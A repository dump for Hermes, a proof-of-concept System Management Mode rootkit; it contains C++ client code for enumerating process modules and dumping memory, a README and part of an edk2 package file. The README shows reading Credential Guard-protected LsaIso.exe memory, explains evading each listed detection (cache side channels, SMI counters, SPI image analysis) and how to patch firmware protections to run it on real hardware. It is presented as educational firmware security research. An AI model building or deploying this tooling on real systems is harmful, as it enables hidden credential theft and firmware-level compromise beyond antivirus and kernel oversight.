| memcpy(buffer, (void *)((uint64_t)result + 8 + 1 + (i * 32)), 32); 82 | 83 | std::cout << "Name: " << buffer << std::endl; 84 | } 85 | } 86 | 87 | clearPacket(packetBegin); 88 | } 89 | 90 | /* 91 | * Function for requesting the modules of a given process. 92 | * Asks for the following parameter: 93 | * - packetBegin, pointer to the start of the memory mapping buffer 94 | * 95 | * The function itself asks for further information (process name) 96 | * 97 | */ 98 | void getModulesVerbose(uint64_t packetBegin) 99 | { 100 | setPacketStarting(packetBegin); 101 | 102 | std::cout << "Processname (MAX 63 CHARS): "; 103 | std::string prName; 104 | std::cin >> prName; 105 | 106 | // Fill the rest of the string 107 | prName.resize(64, '\0'); 108 | 109 | const char* cprName = prName.c_str(); 110 | uint8_t nLength = std::strlen(cprName) + 1; 111 | 112 | setPacketCommand(packetBegin, HERMES_CMD_GET_MODULES); 113 | 114 | void* data = (void*)malloc(sizeof(uint8_t) + nLength); 115 | memcpy(data, &nLength, sizeof(uint8_t)); 116 | memcpy((void*)((uint64_t)data + 1), cprName, nLength); 117 | 118 | setPacketDataPtr(packetBegin, (uint64_t)data); 119 | 120 | if (debug) 121 | std::cout << "Data Ptr: " << (uint64_t)data << std::endl; 122 | 123 | void* result = _aligned_malloc(0x1000, 4096); 124 | uint64_t* resultToCheck = (uint64_t*)((uint64_t)result); // Status will be at the end of the memory buffer 125 | *resultToCheck = 0; 126 | 127 | uint8_t* temp = (uint8_t*)((uint64_t)result); 128 | *temp = 1; 129 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 130 | *temp = 0; 131 | 132 | setPacketResultPtr(packetBegin, (uint64_t)result); 133 | 134 | if (debug) 135 | std::cout << "Result Ptr: " << (uint64_t)result << std::endl; 136 | 137 | // Data collected, set the end identifier and wait for response 138 | setPacketFinished(packetBegin); 139 | 140 | std::cout << "Waiting for Endpoint... " << std::endl; 141 | 142 | while (*resultToCheck == 0) 143 | { 144 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 145 | } 146 | 147 | if (*resultToCheck != HERMES_STATUS_OK) 148 | { 149 | // Print error explanation 150 | printError(*resultToCheck); 151 | } 152 | else 153 | { 154 | // Get size 155 | uint8_t* size = (uint8_t*)(uint64_t)result + 8; 156 | 157 | // Result has changed 158 | std::cout << "Printing Module " << std::dec << (int)*size << " Names: " << std::endl; 159 | 160 | for (int i = 0; i < *size; i++) 161 | { 162 | char buffer[32]; 163 | memcpy(buffer, (void*)((uint64_t)result + 8 + 1 + (i * 32)), 32); 164 | 165 | std::cout << "Name: " << buffer << std::endl; 166 | 167 | // Clear current packet so we can send another request 168 | clearPacket(packetBegin); 169 | 170 | setPacketStarting(packetBegin); 171 | 172 | std::string moName(buffer); 173 | uint8_t mLength = moName.length() + 1; 174 | char* cmoName = &moName[0]; 175 | 176 | setPacketCommand(packetBegin, HERMES_CMD_GET_MODULEDATA); 177 | 178 | void* mdata = (void*)malloc(sizeof(uint8_t) + nLength + sizeof(uint8_t) + mLength); 179 | memcpy(mdata, &nLength, sizeof(uint8_t)); 180 | memcpy((void*)((uint64_t)mdata + sizeof(uint8_t)), cprName, nLength); 181 | memcpy((void*)((uint64_t)mdata + sizeof(uint8_t) + nLength), &mLength, sizeof(uint8_t)); 182 | memcpy((void*)((uint64_t)mdata + sizeof(uint8_t) + nLength + sizeof(uint8_t)), cmoName, mLength); 183 | setPacketDataPtr(packetBegin, (uint64_t)mdata); 184 | 185 | if (debug) 186 | std::cout << "Data Ptr: " << (uint64_t)mdata << std::endl; 187 | 188 | moduleData mresult = { 0, 0 }; 189 | setPacketResultPtr(packetBegin, (uint64_t)&mresult); 190 | 191 | if (debug) 192 | std::cout << "Result Ptr: " << &mresult << std::endl; 193 | 194 | // Data collected, set the end identifier and wait for response 195 | setPacketFinished(packetBegin); 196 | 197 | std::cout << "Waiting for Endpoint... " << std::endl; 198 | while (mresult.moduleBase == 0) 199 | { 200 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 201 | } 202 | 203 | if (mresult.moduleBase <= 0x9000) 204 | { 205 | // Print error explanation 206 | printError(mresult.moduleBase); 207 | } 208 | else 209 | { 210 | // Result has changed 211 | std::cout << "Result: Base " << std::hex << mresult.moduleBase << " Size " << std::hex << mresult.moduleSize << std::endl; 212 | } 213 | 214 | free(mdata); 215 | 216 | std::cout << std::endl; 217 | } 218 | } 219 | 220 | free(data); 221 | 222 | clearPacket(packetBegin); 223 | } 224 | 225 | /* 226 | * Function for requesting detailed information about a module of a process. 227 | * Asks for the following parameter: 228 | * - packetBegin, pointer to the start of the memory mapping buffer 229 | * 230 | * The function itself asks for further information (process name and module name) 231 | * 232 | */ 233 | void getModuledata(uint64_t packetBegin) 234 | { 235 | setPacketStarting(packetBegin); 236 | 237 | std::cout << "Processname (MAX 63 CHARS): "; 238 | std::string prName; 239 | std::cin >> prName; 240 | 241 | // Fill the rest of the string 242 | prName.resize(64, '\0'); 243 | 244 | const char* cprName = prName.c_str(); 245 | uint8_t nLength = std::strlen(cprName) + 1; 246 | 247 | std::cout << "Modulename (MAX 63 CHARS): "; 248 | std::string moName; 249 | std::cin >> moName; 250 | 251 | uint8_t mLength = moName.length() + 1; 252 | 253 | char *cmoName = &moName[0]; 254 | 255 | setPacketCommand(packetBegin, HERMES_CMD_GET_MODULEDATA); 256 | 257 | void *data = (void *)malloc(sizeof(uint8_t) + nLength + sizeof(uint8_t) + mLength); 258 | memcpy(data, &nLength, sizeof(uint8_t)); 259 | memcpy((void *)((uint64_t)data + sizeof(uint8_t)), cprName, nLength); 260 | memcpy((void*)((uint64_t)data + sizeof(uint8_t) + nLength), &mLength, sizeof(uint8_t)); 261 | memcpy((void *)((uint64_t)data + sizeof(uint8_t) + nLength + sizeof(uint8_t)), cmoName, mLength); 262 | setPacketDataPtr(packetBegin, (uint64_t)data); 263 | 264 | if (debug) 265 | std::cout << "Data Ptr: " << (uint64_t)data << std::endl; 266 | 267 | moduleData result = { 0, 0 }; 268 | setPacketResultPtr(packetBegin, (uint64_t)&result); 269 | 270 | if (debug) 271 | std::cout << "Result Ptr: " << &result << std::endl; 272 | 273 | // Data collected, set the end identifier and wait for response 274 | setPacketFinished(packetBegin); 275 | 276 | std::cout << "Waiting for Endpoint... " << std::endl; 277 | while (result.moduleBase == 0) 278 | { 279 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 280 | } 281 | 282 | if (result.moduleBase <= 0x9000) 283 | { 284 | // Print error explanation 285 | printError(result.moduleBase); 286 | } 287 | else 288 | { 289 | // Result has changed 290 | std::cout << "Result: Base " << std::hex << result.moduleBase << " Size " << std::hex << result.moduleSize << std::endl; 291 | } 292 | 293 | clearPacket(packetBegin); 294 | 295 | free(data); 296 | } 297 | 298 | /* 299 | * Function for requesting the memory in a given space which will be written to a file. 300 | * Asks for the following parameter: 301 | * - packetBegin, pointer to the start of the memory mapping buffer 302 | * 303 | * The function itself asks for further information (memory base, dirbase and size to read). 304 | * After getting the data from smm it will ask for the file name to write. 305 | * 306 | */ 307 | void dumpModule(uint64_t packetBegin) 308 | { 309 | setPacketStarting(packetBegin); 310 | 311 | std::cout << "Base: "; 312 | uint64_t base; 313 | std::cin >> std::hex >> base; 314 | 315 | std::cout << "Dirbase: "; 316 | uint64_t dirbase; 317 | std::cin >> std::hex >> dirbase; 318 | 319 | std::cout << "Size: "; 320 | uint64_t size; 321 | std::cin >> std::hex >> size; 322 | 323 | setPacketCommand(packetBegin, HERMES_CMD_DUMP_MODULE); 324 | 325 | std::vector data(3); 326 | memcpy(&(data[0]), &base, sizeof(uint64_t)); 327 | memcpy(&(data[1]), &dirbase, sizeof(uint64_t)); 328 | memcpy(&(data[2]), &size, sizeof(uint64_t)); 329 | 330 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 331 | 332 | if (debug) 333 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 334 | 335 | void* result = _aligned_malloc(size + sizeof(uint64_t), 4096); 336 | uint64_t *resultToCheck = (uint64_t*)((uint64_t)result + (uint64_t)size); // Status will be at the end of the memory buffer 337 | *resultToCheck = 0; 338 | 339 | // Loop ones through the allocated pages to make sure its in the dirbase 340 | for (int i = 1; i < size + sizeof(uint64_t); i += 0x1000) 341 | { 342 | uint8_t *temp = (uint8_t*)((uint64_t)result + (uint64_t)i); 343 | *temp = 1; 344 | //std::this_thread::sleep_for(std::chrono::milliseconds(2)); 345 | *temp = 0; 346 | } 347 | 348 | setPacketResultPtr(packetBegin, (uint64_t)result); 349 | 350 | if (debug) 351 | std::cout << "Result Ptr: " << (uint64_t)result << " " << *resultToCheck << std::endl; 352 | 353 | // Data collected, set the end identifier and wait for response 354 | setPacketFinished(packetBegin); 355 | 356 | std::cout << "Waiting for Endpoint... " << std::endl; 357 | 358 | while (*resultToCheck == 0) 359 | { 360 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 361 | } 362 | 363 | if (*resultToCheck != HERMES_STATUS_OK) 364 | { 365 | // Print error explanation 366 | printError(*resultToCheck); 367 | } 368 | else 369 | { 370 | // Result has changed 371 | std::cout << "Finished dumping... " << *resultToCheck << std::endl; 372 | } 373 | 374 | clearPacket(packetBegin); 375 | 376 | // Dump successfully, ask for filename 377 | std::cout << "Filename: "; 378 | std::string fileName; 379 | std::cin >> fileName; 380 | 381 | std::ofstream ofs(fileName, std::ios::trunc | std::ios::out | std::ofstream::binary); 382 | 383 | ofs.write((const char *)result, size); 384 | 385 | ofs.close(); 386 | 387 | _aligned_free(result); 388 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hermes 2 | 3 | *Hermes was a master communicator, and thus he was able to persuade everyone, god or mortal being.* 4 | 5 | ## Table of contents 6 | - [Intro](#intro) 7 | - [Commands](#commands) 8 | - [Examples](#example-videos) 9 | * [Dumping process memory](#dumping-process-memory) 10 | * [Reading LsaIso.exe memory](#reading-credential-guard-protected-memory) 11 | - [Detection](#detection) 12 | * [MSR_SMI_COUNT](#msr_smi_count) 13 | * [Side channel cache detection](#side-channel-cache-detection) 14 | * [UEFI Image analysis](#uefi-image-analysis) 15 | - [Repository Contents](#repository-contents) 16 | * [Hermes-SMM](#hermes-smm) 17 | * [Hermes-Client](#hermes-client) 18 | - [Building Hermes SMM](#building-hermes-smm) 19 | * [First time setup](#first-time-setup) 20 | * [Compiling Hermes-SMM](#compiling-hermes-smm) 21 | - [Building Hermes-Client](#building-hermes-client) 22 | - [Troubleshooting](#troubleshooting) 23 | - [FAQ](#faq) 24 | * [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm) 25 | * [No serial output after boot](#no-serial-output-after-boot) 26 | - [Sources](#sources) 27 | - [License](#License) 28 | 29 | ## Intro 30 | 31 | Hermes is a PoC demonstrating how a UEFI module running in System Management Mode 32 | (SMM) can be used by a user mode process to elevate its own privileges higher 33 | than the kernel itself. This module is a continuation work on our previous 34 | UEFI module, which was a simple [SMM rootkit](https://github.com/jussihi/SMM-Rootkit). 35 | 36 | If you want to read about SMM (rootkits) in general, please read the old 37 | [blog post](https://jussihi.kapsi.fi/2022-09-08-smmrootkit/)! 38 | 39 | This version of the UEFI module contains the basic components to interact with the 40 | Windows kernel (find processes, get all modules of a process, get information 41 | about a process module and dump a memory range to file) or the basic memory 42 | procedures (read/write virtual & physical memory and convert virtual to 43 | physical memory). It can be expanded to include automatic forensic actions as 44 | example. A drawback of Hermes is the current timer execution. The chipset timer allows a execution every 64 seconds, which is enough for demonstration purposes. 45 | Finding another way to generate more frequent SMIs (System management interrupts) is left as an exercise to the reader. 46 | 47 | **Supports (at least):** 48 | - Windows 11 22H2 49 | - Windows 10 1809 50 | 51 | As the user mode application itself does not interact with any of the processes 52 | or the memory itself as the SMM module is doing everything while the processor 53 | is in the system management mode, antiviruses or even the kernel itself won't 54 | notice the behavior but only the effects that were done (for example, through 55 | DKOM). 56 | 57 | Created by Jussi Hietanen (Aalto University, Espoo FI) and Diego Caminada (HF-ICT, Muttenz CH). 58 | 59 | ## Commands 60 | 61 | | Command | Description | Input | Output | 62 | |---|---|---|---| 63 | | gd | Returns the directory base of the requested process | Process name | Directory Base | 64 | | gmd | Returns essential information of the requested module in a process | Process name & Module name | Module name & Size | 65 | | gm | Returns all module names of the requested process | Process name | Name of every module in a process | 66 | | vr | Reads the memory at the requested virtual memory address | Source Virtual address, Directory Base & Size | Memory read at the address | 67 | | vw | Writes the supplied integer to the requested virtual memory address | Destination Virtual address, Directory Base, Size & Value | - | 68 | | pr | Reads the memory at the requested physical memory address | Source Physical address, Directory Base & Size | Memory read at the address | 69 | | pw | Writes the supplied integer to the requested physical memory address | Destination Physical address, Directory Base, Size & Value | - | 70 | | vto | Converts a virtual memory address to physical | Source Virtual address & Directory Base | Converted Physical address | 71 | | dm | Dumps the requested memory area | Source Virtual address, Directory Base, Size & File name | Memory read is written into the file | 72 | | exit | Exits the client process | - | - | 73 | | help | Displays the help about the commands | - | - | 74 | 75 | ## Example videos 76 | The following examples show basic usage of Hermes suite. 77 | 78 | ### Dumping process memory 79 | Hermes can be used to dump a memory range of a file, this is useful for reverse engineering of otherwise protected processes which can't be read normally or close automatically as soon as they detect a debugger or reverse engineering toolkit. 80 | 81 | The following video shows Hermes in action dumping putty.exe: 82 | 83 | 84 | 85 | https://github.com/pRain1337/Hermes/assets/26672236/61bbe457-ccd8-42e3-85d3-6191a58dc3ae 86 | 87 | 88 | ### Reading Credential Guard protected memory 89 | _LsaIso.exe_ is the credential guard protected version of _Lsass.exe_ which stores and protects credentials. 90 | Normal toolkits (for example cheat engine) are unable to read the virtual memory of _LsaIso.exe_ as the windows hypervisor is blocking their access, Hermes fully bypasses this protection as it is not running under the hypervisor. 91 | 92 | The following video shows Hermes reading LsaIso.exe memory: 93 | 94 | 95 | https://github.com/pRain1337/Hermes/assets/26672236/f333d26c-bab3-4ffd-8b56-e47c612ac300 96 | 97 | 98 | 99 | ## Detection 100 | The following examples show ideas and approaches to detect the activities of SMM, 101 | but not in general malicious behavior. 102 | Most of these could be evaded by utilizing additional components in the SMM module. 103 | 104 | ### MSR_SMI_COUNT 105 | #### How it works 106 | The MSR_SMI_COUNT increases every time there is a active System management interrupt. 107 | For the best functionality, an SMM module (rootkit) would want to get regular 108 | execution, which is not usual behavior. 109 | 110 | By checking the counter, one can notice if an SMM module has enabled a timer 111 | and hence SMM gets more executions than it would normally get. 112 | 113 | For instructions on how to read the MSR_SMI_COUNT see 114 | [chipsec](https://github.com/chipsec/chipsec/tree/main) which also provides 115 | other useful information for analyzing UEFI/SMM. 116 | 117 | #### How to prevent it 118 | Spoofing an MSR is not easily done with SMM, the easiest approach would be to 119 | utilize a hypervisor to spoof the results of the MSR. 120 | 121 | Using a hypervisor will of course end in a lot of more flags. 122 | 123 | ### Side channel cache detection 124 | #### How it works 125 | Based on the idea of [Nick Peterson](https://twitter.com/nickeverdox/) which 126 | he presented in a 127 | [Tweet](https://web.archive.org/web/20211229210102/https://twitter.com/nickeverdox/status/1476295914423656456) 128 | to use side channels to detect reads of a memory. 129 | 130 | [H33p](https://github.com/h33p) has created a replication of this project in 131 | rust, to test this claim. 132 | 133 | The initial tweet only claimed detection from os or hypervisor, but we've 134 | tested it from SMM, and it was also able to detect it. It basically works by 135 | checking the access time to a predefined memory location. As long as no other 136 | application touches the memory, the cache duration should stay the same. 137 | 138 | The test itself can introduce false positives if antivirus or similar 139 | applications are running on the system. 140 | 141 | Old video with the private version of hermes (named atlas): 142 | 143 | 144 | https://github.com/pRain1337/Hermes/assets/26672236/882325d2-1416-4c17-a36b-e7e73a517f1d 145 | 146 | 147 | - At 0:22 the virtual read function is used 148 | - At 0:37 the physical read function is used 149 | 150 | #### How to prevent it 151 | This detection can be bypassed using the 152 | [control register 0](https://wiki.osdev.org/CR0#CR0). 153 | 154 | By setting the _Cache disable_ and _Not-write through_ bit before performing 155 | a read and disabling these afterward. 156 | 157 | This results in a big performance hit as no caching is used anymore but the 158 | reads themselves won't be detected anymore. 159 | 160 | ### UEFI Image analysis 161 | #### How it works 162 | The SPI chip holds the image which contains the SMM rootkit module, the chip 163 | itself can be read using manufacturer provided tools (for example afudos). 164 | 165 | These images can then be analyzed using as example 166 | [UEFITool](https://github.com/LongSoft/UEFITool). 167 | 168 | #### How to prevent it 169 | The easiest way is to simply just block the reading of the SPI chip utilizing the 170 | protected range registers. 171 | 172 | For more information about how to achieve this, check out the 173 | [x86-64 Intel Firmware Attack & Defense course](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1/about) 174 | by Xeno Kovah. 175 | 176 | Blocking it of course leaves a red flag, as this is not expected behavior. 177 | 178 | A better looking approach would be utilizing SMM as a Mitm to modify the read 179 | SPI data before it's passed to the user mode application. 180 | 181 | This was already done by 182 | [TakahiroHaruyama](https://github.com/TakahiroHaruyama), for further 183 | information see [SpiMitm](https://github.com/TakahiroHaruyama/SpiMitm/). 184 | 185 | ## Repository Contents 186 | 187 | ### Hermes-SMM 188 | Hermes-SMM is the SMM-side "server" component which allows client applications 189 | to elevate their rights. 190 | 191 | ### Hermes-Client 192 | Hermes-Client is a interactive console application which can be used to 193 | communicate with the Hermes SMM module. 194 | 195 | ## Building Hermes-SMM 196 | 197 | Prerequisites: docker, git 198 | 199 | ### First time setup 200 | 201 | **Please skip to "Building Hermes-SMM" if you've done the first time setup already.** 202 | 203 | 1. Inside this git repo, clone the EDK2 submodule, it will init the right tag 204 | (vUDK2018) automatically: 205 | 206 | ``` 207 | git submodule update --init 208 | ``` 209 | 210 | 2. Pull the official "edk-builder" docker image 211 | ``` 212 | sudo docker pull jussihi/edk-builder 213 | ``` 214 | 215 | **OR** 216 | 217 | Inside the `Hermes-SMM` -directory, run 218 | 219 | ``` 220 | docker build --no-cache -t edk-builder/edk-builder . 221 | ``` 222 | 223 | to build the `edk-builder` image locally. 224 | 225 | 3. Inside the `Hermes-SMM` -directory, start the docker by running: 226 | 227 | ``` 228 | docker run -it --privileged -v .:/root/ -u root -w /root jussihi/edk-builder /bin/bash 229 | ``` 230 | 231 | or if you built the docker image locally: 232 | 233 | ``` 234 | docker run -it --privileged -v .:/root/ -u root -w /root edk-builder/edk-builder /bin/bash 235 | ``` 236 | 237 | Now inside the docker container, run 238 | 239 | ``` 240 | # cd edk2 241 | # make -C BaseTools 242 | # . edksetup.sh 243 | ``` 244 | 245 | To set up the base tools. First time setup is done! 246 | 247 | ### Compiling Hermes-SMM 248 | 249 | To build the Hermes SMM module, start the docker instance again in `Hermes-SMM` 250 | directory with the following command: 251 | 252 | ``` 253 | docker run -it --privileged -v .:/root/ -u root -w /root jussihi/edk-builder /bin/bash 254 | ``` 255 | 256 | or if you built the docker image locally: 257 | 258 | ``` 259 | docker run -it --privileged -v .:/root/ -u root -w /root edk-builder/edk-builder /bin/bash 260 | ``` 261 | 262 | Inside docker container, copy Hermes source files to the edk2 folder: 263 | 264 | ``` 265 | # cp -r Hermes-src/* edk2/ 266 | ``` 267 | 268 | Still inside the running docker instance, you can proceed to building the 269 | edk2's OVMF with SMM modules enabled 270 | 271 | ``` 272 | # cd edk2 273 | # . edksetup.sh 274 | # build -DSMM_REQUIRE 275 | ``` 276 | 277 | The resulting OVMF firmware will be inside `edk2/Build/OvmfX64/RELEASE_GCC5/FV`. 278 | 279 | For running it on real hardware, you'll have to patch _PiSmmCpuDxeSmm_. Modern 280 | SMM protections setup by edk2 will produce a fault otherwise when accessing 281 | normal OS memory. Check out 282 | [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm) 283 | 284 | ## Building Hermes-Client 285 | 286 | To build the Hermes-Client you need to use visual studio instead of docker. 287 | 288 | Simply open the Solution file and compile, you might need platform/sdk/toolset 289 | on the project file first. 290 | 291 | The default settings compile a x64-86 application for windows. 292 | 293 | ## Troubleshooting 294 | This version was developed for and tested on the Intel z690 chipset, it should 295 | still work on older/newer chipsets as very few offsets are changed. 296 | 297 | The SMM module itself also works in a virtualized environment, although some of 298 | the native chipset feature it uses (SMI timer) are not available there. 299 | 300 | If the SMM module is not working as expected, you can use the inbuilt serial 301 | functions to send text/numbers out. This even works, if the SMM module produces 302 | a General Exception which halts the system. 303 | 304 | ## FAQ 305 | 306 | ### How to patch PiSmmCpuDxeSmm 307 | 308 | If you are trying to run this SMM module on real hardware, you need to patch 309 | your motherboard's `PiSmmCpuDxeSmm` module from the UEFI firmware. You can mimick 310 | [our patch](https://github.com/jussihi/SMM-Rootkit/tree/master/SMM%20Rootkit/UefiCpuPkg) 311 | by Patching this variable initialization out and hard code the variable itself to 312 | 0 with your favorite disassembler (IDA or similar): 313 | 314 | https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L352 315 | 316 | Easiest way to find that function (SmmInitPageTable) is to search for the 317 | strings of the error messages: 318 | 319 | https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/Library/CpuExceptionHandlerLib/X64/ArchExceptionHandler.c#L265 320 | 321 | Which is referenced multiple times in the SMI Page fault handler: 322 | 323 | https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L1003 324 | 325 | And the page fault handler is initialized in the same function as the variable 326 | initialization (SmmInitPageTable): 327 | 328 | https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L442 329 | 330 | ### No serial output after boot 331 | 332 | Sometimes the serial traffic is blocked because of the operating system's own serial 333 | driver. This is at least the case in Windows systems when not booting inside 334 | a (QEMU/KVM) virtual machine. 335 | 336 | #### There are two ways to get serial working on this sort of situation: 337 | 338 | - Block the Operating System from loading the driver. 339 | 340 | On GNU+Linux, you can disable the driver completely if one is loaded. On 341 | Windows systems, you might need to rename/delete the system's serial driver. 342 | The default path to the driver executable is 343 | `C:\Windows\System32\drivers\serial.sys`. 344 | 345 | - Open an SSH client locally 346 | 347 | You can also open the connection to the local serial port using your favorite 348 | serial client. At least on Windows this will prevent Windows own driver from 349 | suppressing the serial output. 350 | 351 | ## Sources 352 | Sources used while building the rootkit as inspiration and their usage: 353 | Basic inspiration for this project - 354 | [SmmBackdoor](https://github.com/Cr4sh/SmmBackdoor) 355 | 356 | Used for windows structures and memory functions - 357 | [vmread](https://github.com/h33p/vmread) 358 | 359 | Interaction with the os and interacting with it - 360 | [pcileech](https://github.com/ufrisk/pcileech) 361 | 362 | ## License 363 | 364 | All of the code in this repo (excluding other work from pcileech, vmread..) is 365 | licensed under GPLv3, since this repo is for educational purposes only. 366 | 367 | This means that any project using even parts of the code presented this repo 368 | should also be open-sourced following the guidance found from the GPLv3 license. 369 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/UefiCpuPkg/UefiCpuPkg.dec: -------------------------------------------------------------------------------- 1 | ## @file UefiCpuPkg.dec 2 | # This Package provides UEFI compatible CPU modules and libraries. 3 | # 4 | # Copyright (c) 2007 - 2017, Intel Corporation. All rights reserved.
5 | # 6 | # This program and the accompanying materials are licensed and made available under 7 | # the terms and conditions of the BSD License which accompanies this distribution. 8 | # The full text of the license may be found at 9 | # http://opensource.org/licenses/bsd-license.php 10 | # 11 | # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 13 | # 14 | ## 15 | 16 | [Defines] 17 | DEC_SPECIFICATION = 0x00010005 18 | PACKAGE_NAME = UefiCpuPkg 19 | PACKAGE_UNI_FILE = UefiCpuPkg.uni 20 | PACKAGE_GUID = 2171df9b-0d39-45aa-ac37-2de190010d23 21 | PACKAGE_VERSION = 0.90 22 | 23 | [Includes] 24 | Include 25 | 26 | [LibraryClasses] 27 | ## @libraryclass Defines some routines that are generic for IA32 family CPU 28 | ## to be UEFI specification compliant. 29 | ## 30 | UefiCpuLib|Include/Library/UefiCpuLib.h 31 | 32 | ## @libraryclass Defines some routines that are used to register/manage/program 33 | ## CPU features. 34 | ## 35 | RegisterCpuFeaturesLib|Include/Library/RegisterCpuFeaturesLib.h 36 | 37 | [LibraryClasses.IA32, LibraryClasses.X64] 38 | ## @libraryclass Provides functions to manage MTRR settings on IA32 and X64 CPUs. 39 | ## 40 | MtrrLib|Include/Library/MtrrLib.h 41 | 42 | ## @libraryclass Provides functions to manage the Local APIC on IA32 and X64 CPUs. 43 | ## 44 | LocalApicLib|Include/Library/LocalApicLib.h 45 | 46 | ## @libraryclass Provides platform specific initialization functions in the SEC phase. 47 | ## 48 | PlatformSecLib|Include/Library/PlatformSecLib.h 49 | 50 | ## @libraryclass Public include file for the SMM CPU Platform Hook Library. 51 | ## 52 | SmmCpuPlatformHookLib|Include/Library/SmmCpuPlatformHookLib.h 53 | 54 | ## @libraryclass Provides the CPU specific programming for PiSmmCpuDxeSmm module. 55 | ## 56 | SmmCpuFeaturesLib|Include/Library/SmmCpuFeaturesLib.h 57 | 58 | ## @libraryclass Provides functions to support MP services on CpuMpPei and CpuDxe module. 59 | ## 60 | MpInitLib|Include/Library/MpInitLib.h 61 | 62 | [Guids] 63 | gUefiCpuPkgTokenSpaceGuid = { 0xac05bf33, 0x995a, 0x4ed4, { 0xaa, 0xb8, 0xef, 0x7a, 0xe8, 0xf, 0x5c, 0xb0 }} 64 | gMsegSmramGuid = { 0x5802bce4, 0xeeee, 0x4e33, { 0xa1, 0x30, 0xeb, 0xad, 0x27, 0xf0, 0xe4, 0x39 }} 65 | 66 | ## Include/Guid/CpuFeaturesSetDone.h 67 | gEdkiiCpuFeaturesSetDoneGuid = { 0xa82485ce, 0xad6b, 0x4101, { 0x99, 0xd3, 0xe1, 0x35, 0x8c, 0x9e, 0x7e, 0x37 }} 68 | 69 | ## Include/Guid/CpuFeaturesInitDone.h 70 | gEdkiiCpuFeaturesInitDoneGuid = { 0xc77c3a41, 0x61ab, 0x4143, { 0x98, 0x3e, 0x33, 0x39, 0x28, 0x6, 0x28, 0xe5 }} 71 | 72 | [Protocols] 73 | ## Include/Protocol/SmmCpuService.h 74 | gEfiSmmCpuServiceProtocolGuid = { 0x1d202cab, 0xc8ab, 0x4d5c, { 0x94, 0xf7, 0x3c, 0xfc, 0xc0, 0xd3, 0xd3, 0x35 }} 75 | 76 | ## Include/Protocol/SmMonitorInit.h 77 | gEfiSmMonitorInitProtocolGuid = { 0x228f344d, 0xb3de, 0x43bb, { 0xa4, 0xd7, 0xea, 0x20, 0xb, 0x1b, 0x14, 0x82 }} 78 | 79 | # 80 | # [Error.gUefiCpuPkgTokenSpaceGuid] 81 | # 0x80000001 | Invalid value provided. 82 | # 83 | 84 | [PcdsFeatureFlag] 85 | ## Indicates if SMM Profile will be enabled. 86 | # If enabled, instruction executions in and data accesses to memory outside of SMRAM will be logged. 87 | # It could not be enabled at the same time with SMM static page table feature (PcdCpuSmmStaticPageTable). 88 | # This PCD is only for validation purpose. It should be set to false in production.

89 | # TRUE - SMM Profile will be enabled.
90 | # FALSE - SMM Profile will be disabled.
91 | # @Prompt Enable SMM Profile. 92 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileEnable|FALSE|BOOLEAN|0x32132109 93 | 94 | ## Indicates if the SMM profile log buffer is a ring buffer. 95 | # If disabled, no additional log can be done when the buffer is full.

96 | # TRUE - the SMM profile log buffer is a ring buffer.
97 | # FALSE - the SMM profile log buffer is a normal buffer.
98 | # @Prompt The SMM profile log buffer is a ring buffer. 99 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileRingBuffer|FALSE|BOOLEAN|0x3213210a 100 | 101 | ## Indicates if SMM Startup AP in a blocking fashion. 102 | # TRUE - SMM Startup AP in a blocking fashion.
103 | # FALSE - SMM Startup AP in a non-blocking fashion.
104 | # @Prompt SMM Startup AP in a blocking fashion. 105 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmBlockStartupThisAp|FALSE|BOOLEAN|0x32132108 106 | 107 | ## Indicates if SMM Stack Guard will be enabled. 108 | # If enabled, stack overflow in SMM can be caught, preventing chaotic consequences.

109 | # TRUE - SMM Stack Guard will be enabled.
110 | # FALSE - SMM Stack Guard will be disabled.
111 | # @Prompt Enable SMM Stack Guard. 112 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackGuard|TRUE|BOOLEAN|0x1000001C 113 | 114 | ## Indicates if BSP election in SMM will be enabled. 115 | # If enabled, a BSP will be dynamically elected among all processors in each SMI. 116 | # Otherwise, processor 0 is always as BSP in each SMI.

117 | # TRUE - BSP election in SMM will be enabled.
118 | # FALSE - BSP election in SMM will be disabled.
119 | # @Prompt Enable BSP election in SMM. 120 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|TRUE|BOOLEAN|0x32132106 121 | 122 | ## Indicates if CPU SMM hot-plug will be enabled.

123 | # TRUE - SMM CPU hot-plug will be enabled.
124 | # FALSE - SMM CPU hot-plug will be disabled.
125 | # @Prompt SMM CPU hot-plug. 126 | gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugSupport|FALSE|BOOLEAN|0x3213210C 127 | 128 | ## Indicates if SMM Debug will be enabled. 129 | # If enabled, hardware breakpoints in SMRAM can be set outside of SMM mode and take effect in SMM.

130 | # TRUE - SMM Debug will be enabled.
131 | # FALSE - SMM Debug will be disabled.
132 | # @Prompt Enable SMM Debug. 133 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmDebug|FALSE|BOOLEAN|0x1000001B 134 | 135 | ## Indicates if lock SMM Feature Control MSR.

136 | # TRUE - SMM Feature Control MSR will be locked.
137 | # FALSE - SMM Feature Control MSR will not be locked.
